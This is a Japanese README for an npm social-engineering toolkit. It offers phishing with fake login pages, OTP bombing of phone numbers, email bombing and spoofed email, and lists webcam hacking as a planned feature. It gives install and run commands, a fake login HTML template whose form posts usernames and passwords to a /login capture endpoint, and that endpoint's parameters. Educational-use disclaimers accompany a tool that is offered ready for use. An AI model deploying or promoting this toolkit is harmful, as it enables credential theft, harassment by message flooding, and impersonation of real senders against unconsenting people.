フィッシング、OTP/メールボミング、偽メールなどを自動化する強力なソーシャルエンジニアリングツールキットです — @karthithehacker が ❤️ を込めて制作しました

Main Menu

⚠️ 教育目的のみに使用してください。明示的な許可なく、誰に対してもこのツールを使用しないでください。

📌 特徴

🎯 フィッシング攻撃 – 認証情報を窃取するための偽ログインページをシミュレートします
🔢 OTPボミング – ターゲットの電話番号にOTPリクエストを大量送信します
📩 メールボミング – 受信箱を妨害するための大量メール送信
📧 偽メール送信 – カスタムのなりすましメール送信者
❌ 終了 – ツールキットを正常に終了します

(JavaScript版では、キーロガーとIPチェンジャーのオプションは削除されています。)

💻 技術スタック

言語: Node.js (JavaScript)
使用ライブラリ:
- axios
- chalk
- ora
- socket.io
- uuid

🗂️ プロジェクト構成

SocialEngineering/
├── AttackModes/
│   ├── emailBombing.js
│   ├── emailspoofing.js
│   ├── otpBombing.js
│   ├── provider.js
│   └── … (other helpers)
├── includes/
│   ├── banner.js
│   ├── dbgateway.js
│   ├── menu.js
│   ├── phishing.js
│   └── utils.js
├── db/
│   └── Socialengineering-db.json
├── SocialEngineering.js        # main CLI entry
├── package.json
└── README.md

🚀 使用方法

🔧 インストール

リポジトリをクローンします:

npm install socialengineering -g

📌 ツールの実行


SocialEngineering

メニュー例:


███████╗ ██████╗  ██████╗██╗ █████╗ ██╗
██╔════╝██╔═══██╗██╔════╝██║██╔══██╗██║
███████╗██║   ██║██║     ██║███████║██║
╚════██║██║   ██║██║     ██║██╔══██║██║
███████║╚██████╔╝╚██████╗██║██║  ██║███████╗
╚══════╝ ╚═════╝  ╚═════╝╚═╝╚═╝  ╚═╝╚══════╝

███████╗███╗   ██╗ ██████╗ ██╗███╗   ██╗███████╗███████╗██████╗ ██╗███╗   ██╗ ██████╗
██╔════╝████╗  ██║██╔════╝ ██║████╗  ██║██╔════╝██╔════╝██╔══██╗██║████╗  ██║██╔════╝
█████╗  ██╔██╗ ██║██║  ███╗██║██╔██╗ ██║█████╗  █████╗  ██████╔╝██║██╔██╗ ██║██║  ███╗
██╔══╝  ██║╚██╗██║██║   ██║██║██║╚██╗██║██╔══╝  ██╔══╝  ██╔══██╗██║██║╚██╗██║██║   ██║
███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗███████╗██║  ██║██║██║ ╚████║╚██████╔╝
╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

                                                           Website: cappriciosec.com
            Main Menu             
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ No. ┃ Option                     ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1   │ 🎯 Start Phishing Attack   │
│ 2   │ 📲 OTP Bombing             │
│ 3   │ 📩 Email Bombing           │
│ 4   │ 📧 Send Fake Email         │
│ 0   │ ❌ Quit                    │
└━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┘
👉 Select an option:

🔧 補足

フィッシングモジュールは仮想の templates/ フォルダを使用します。次の構造に従って新しいテンプレートを追加できます:
```
~/SocialEngineering-Templates/
   ├── yourtemplatename/
       ├── index.html
       └── index.css
```
フィッシングサーバーは選択したテンプレートからファイルを配信し、/login を介して認証情報を取得します。

🧪 偽ログインテンプレートの例 (HTML)

`index.html`

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>XYZ Admin Login</title>
      <link rel="stylesheet" href="index.css">
    </head>
    <body>
      <form action="/login" method="post" class="login-box">
        <h2>Login</h2>
        <input type="text" name="username" placeholder="Username or Email" required>
        <input type="hidden" name="type" value="xyz"></input>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
        <div class="note">fake template</div>
      </form>
    </body>
    </html>

📡 フィッシングポータルエンドポイント

login.php エンドポイントは、偽のログインページ（テンプレート）から認証情報を受け取ります。ユーザーがログインフォームを送信すると、サーバーは以下のパラメータを取得します:

📥 POST `/login`

🔮 計画中の機能

近日公開予定:

📞 偽IVRコール
🛠️ 設定 / 構成メニュー
🎥 ウェブカメラハッキング

👨‍💻 作者

ウェブサイト: karthithehacker.com
GitHub: @karthi-the-hacker

⚠️ 免責事項

このツールは教育および倫理的な使用のみを目的としています。事前の同意なしにターゲットを攻撃するために使用しないでください。開発者は、不正使用や違法行為について一切の責任を負いません。

`username`	`string`	必須。ユーザーが入力したユーザー名またはメールアドレス
`password`	`string`	必須。ユーザーが入力したパスワード
`type`	`string`	必須。開発者によって設定されたテンプレート名

SocialEngineering

人気

SOCIAL ENGINEER 🎯🕵️‍♂️